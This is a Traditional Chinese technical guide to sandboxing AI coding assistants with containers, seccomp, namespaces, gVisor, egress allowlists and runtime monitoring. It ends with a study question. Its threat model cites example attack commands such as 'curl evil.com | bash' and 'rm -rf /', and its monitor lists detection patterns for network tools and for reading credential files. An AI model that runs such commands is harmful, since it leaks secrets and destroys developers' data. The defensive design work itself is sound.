沙箱化 AI 程式碼生成
AI 程式碼生成和執行的沙箱設計模式,涵蓋容器隔離、能力限制、網路控制和執行時監控。
概述
Cursor、Claude Code 和 Aider 等 AI 程式碼工具可以在開發人員的機器上生成和執行程式碼。當 AI 助手執行生成的腳本、安裝套件或執行 shell 命令時,該程式碼以開發人員的完整特權執行。受損的 AI 工具、提示詞注入攻擊或幻覺的惡意命令可能導致資料外洩、憑證竊取或系統破壞。
沙箱化 AI 程式碼生成創建受控的執行環境,限制任何單個 AI 動作的損害。本文涵蓋 AI 程式碼工具沙箱架構的設計和實作,從輕量級進程隔離到完整的基於容器的環境。
沙箱架構原則
縱深防禦
健壯的 AI 程式碼生成沙箱實作多層隔離:
| 層次 | 實作 | 保護對象 | 效能影響 | 複雜度 |
|---|---|---|---|---|
| 進程 | seccomp-bpf、Linux 能力 | 危險系統呼叫、特權提升、核心利用 | 可忽略 | 中 |
| 檔案系統 | 掛載命名空間、overlayfs、唯讀綁定 | 系統檔案修改、SSH 金鑰等敏感檔案存取、持久化 | 低 | 中 |
| 網路 | 網路命名空間、iptables、DNS 過濾 | 資料外洩、橫向移動、DNS 資料外洩、C2 通訊 | 低 | 中 |
| 資源 | cgroups v2、rlimits | 資源耗盡、fork 炸彈、對主機的 DoS | 可忽略 | 低 |
| 容器 | Docker、Podman、OCI 執行時 | 主機檔案系統存取、主機進程可見性 | 低-中 | 低 |
| 虛擬機 | Firecracker、gVisor、QEMU | 容器逃逸、硬體側通道攻擊、所有主機資源存取 | 中 | 高 |
AI 程式碼執行的威脅模型
SANDBOX_THREAT_MODEL 定義了四種主要威脅:
-
提示詞注入執行:AI 被操控執行惡意命令(
curl evil.com | bash、外洩 SSH 金鑰、安裝惡意套件)。需要:網路 + 檔案系統 + 進程隔離。 -
幻覺的危險命令:AI 生成出於好意但具有破壞性的命令(
rm -rf /而非./build/、錯誤的資料庫遷移)。需要:檔案系統 + 使用者隔離。 -
供應鏈攻擊:AI 建議安裝惡意或拼字搶佔的套件(
requets而非requests)。需要:網路 + 檔案系統 + 進程隔離。 -
資料外洩:AI 生成的程式碼向外部發送敏感資料(讀取 .env 並發送到 webhook、DNS 資料外洩)。需要:網路 + 檔案系統隔離。
基於容器的沙箱實作
Docker 開發沙箱
AICodeSandbox 類別實作基於容器的沙箱:
建構函式參數:workspace_path(掛載為 /workspace)、image(預設 python:3.11-slim)、network_mode(預設 none——完全網路隔離)、memory_limit(預設 512m)、cpu_limit(預設 1.0 核心)。
generate_dockerfile:建立非根使用者 sandbox(UID 1000),安裝常見開發工具(pylint、black、mypy、pytest、bandit、semgrep),設置唯讀根檔案系統。
generate_seccomp_profile:生成白名單 seccomp 設定檔,封鎖的危險系統呼叫:ptrace(調試其他進程)、mount/umount2(檔案系統掛載)、pivot_root(更改根檔案系統)、reboot(系統重啟)、init_module/delete_module(核心模組)、kexec_load(核心替換)、settimeofday/stime(時間操控)。
start:使用安全旗標啟動容器:
--memory=512m --cpus=1.0 --pids-limit=256(資源限制)--network=none(完全網路隔離)--read-only(唯讀根檔案系統)--tmpfs=/tmp:size=100m(僅限 /tmp 寫入)--security-opt=seccomp=...(自定義 seccomp 設定檔)--security-opt=no-new-privileges(禁止特權提升)--cap-drop=ALL --cap-add=SETUID --cap-add=SETGID(最小能力集)
execute:在容器中以非根用戶執行命令,有超時機制(預設 30 秒)。
網路控制沙箱
NetworkControlledSandbox 為需要網路存取的情況(套件安裝)添加域名允許清單。generate_iptables_rules 生成 iptables 規則:預設丟棄所有出站流量,允許迴環和 DNS,解析允許域名的 IP 地址並允許這些 IP 的 HTTPS(端口 443)連接。
允許的預設域名:pypi.org、files.pythonhosted.org、registry.npmjs.org、github.com。
Linux 命名空間沙箱
NamespaceSandbox 類別使用 Linux 命名空間提供輕量級隔離(不需要 Docker):
create_user_namespace:建立使用者命名空間,將容器的 UID 0 映射到主機的非特權 UID(/proc/{pid}/uid_map中0 {uid} 1)create_mount_namespace:建立掛載命名空間,以私有方式重新掛載 proc,掛載工作區並使系統目錄唯讀(/etc、/usr、/lib),建立臨時 /tmpcreate_network_namespace:建立網路命名空間(僅限迴環),然後可以根據需要添加 veth 對
gVisor 高安全沙箱
對於高安全場景,GVisorSandbox 類別使用 gVisor 的 runsc 執行時,它攔截所有系統呼叫並使用 Go 代碼實作它們,防止大多數核心漏洞。gVisor 容器的執行時設定:
{
"defaultRuntime": "runc",
"runtimes": {
"gvisor": {
"path": "/usr/local/bin/runsc",
"runtimeArgs": ["--host-uds=allow", "--network=sandbox"]
}
}
}gVisor 的取捨:提供對核心漏洞的極強保護,比完整 VM 更快,但比標準容器慢 10-30%,且部分系統呼叫支援不完整。
執行時監控
SandboxMonitor 類別監控沙箱中的可疑活動:
monitor_container_events:使用 docker events --filter container={container_id} 監控容器事件(exec_start、exec_die),分析每個事件的命令是否包含可疑指標(curl|wget|nc|netcat、/etc/passwd|/etc/shadow|~/.ssh、base64 --decode|eval、rm -rf /)。
check_network_connections:使用 docker exec {id} ss -tnp 或 netstat -tnp 獲取主動連線列表,對比連線到外部 IP 的情況。
analyze_filesystem_changes:使用 docker diff {id} 分析對容器的檔案系統更改,關注 /etc(配置篡改)、/usr/bin 和 /usr/local/bin(執行檔修改)。
開發人員工作流程整合
VS Code Remote Containers
在 .devcontainer/devcontainer.json 中配置:
image: ghcr.io/org/ai-sandbox:latestrunArgs: ["--cap-drop=ALL", "--security-opt=seccomp=/seccomp-profile.json", "--read-only", "--network=ai-sandbox-net"]- 安裝安全監控擴充
自動化測試鉤子
提交前鉤子配置:
- 首先在沙箱中執行生成的程式碼
- 如果沙箱執行失敗則封鎖提交
- 沙箱結果記錄到 CI 的安全審計日誌
CI/CD 管線在每次拉取請求時:執行沙箱完整性驗證(docker inspect 驗證安全旗標)、執行 AI 生成程式碼的靜態安全掃描(Semgrep + bandit)、在隔離環境中執行測試套件。
沙箱配置矩陣
| 使用案例 | 推薦隔離 | 網路 | 記憶體 | 啟動時間 |
|---|---|---|---|---|
| 運行生成的 Python 腳本 | Docker + seccomp | none | 512MB | < 1s |
| 安裝和測試套件 | Docker + allowlist 網路 | 受控 | 1GB | < 1s |
| 執行測試套件 | Docker 標準 | 迴環 | 2GB | < 1s |
| 高度敏感的程式碼庫 | gVisor 或 Firecracker | none | 512MB | 100-500ms |
| 多租戶 AI 服務 | Firecracker microVM | none | 256MB | < 125ms |
參考資料
- Linux namespaces — https://man7.org/linux/man-pages/man7/namespaces.7.html
- seccomp-bpf — https://www.kernel.org/doc/html/latest/userspace-api/seccomp_filter.html
- gVisor — https://gvisor.dev/
- Firecracker microVM — https://firecracker-microvm.github.io/
- Docker security — https://docs.docker.com/engine/security/
- OWASP Top 10 for LLM Applications 2025 — LLM06: Excessive Agency — https://genai.owasp.org/llmrisk/
- CWE-250: Execution with Unnecessary Privileges — https://cwe.mitre.org/data/definitions/250.html
為什麼 AI 程式碼生成沙箱中的 --read-only 旗標(唯讀根檔案系統)與只使用 Docker 命名空間隔離相比提供了顯著更好的保護?